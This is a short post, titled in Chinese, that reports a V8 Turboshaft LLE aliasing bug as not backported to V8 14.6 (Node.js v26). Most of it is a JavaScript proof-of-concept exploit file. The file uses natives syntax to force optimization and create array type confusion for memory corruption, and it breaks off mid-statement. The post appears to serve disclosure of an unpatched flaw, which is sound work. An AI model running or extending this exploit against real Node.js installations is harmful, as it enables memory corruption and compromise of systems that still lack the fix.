V8 Turboshaft LLE 缺陷 (554421904) 未回移到 V8 14.6 (Node.js v26)

// V8 Turboshaft LLE alias bug (V8 554421904) — NOT backported to V8 14.6 (Node.js v26) // Upstream fix: commit b44239fe (V8 15.3 / Chrome 153) // Run: node --allow-natives-syntax v8-lle-poc.js 'use strict';

function set7(arr, v) { arr[7] = v; } function set0(arr, v) { arr[0] = v; } function carrier(...rest) { const receiver = rest[32765] ? rest[32766] : doubleArray; set0(receiver, 1.1); } function victim(payload) { const staleArray = Array(8); const target = []; if (!trigger) staleArray.x = 0; boundCarrier(trigger, staleArray); set7(staleArray, payload); return { target, staleArray }; }

%PrepareFunctionForOptimization(set0); %PrepareFunctionForOptimization(set7); %PrepareFunctionForOptimization(carrier); %PrepareFunctionForOptimization(victim);

const doubleArray = Array(8); set0(doubleArray, 1.1); set7(doubleArray, 0); set0(Array(8), 0);

const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));

let trigger = 0; victim(0); trigger = 1; boundCarrier(trigger, doubleArray); trigger = 0; victim(0);

%OptimizeFunctionOnNextCall(victim); trigger = 1; const { target, staleArray } = …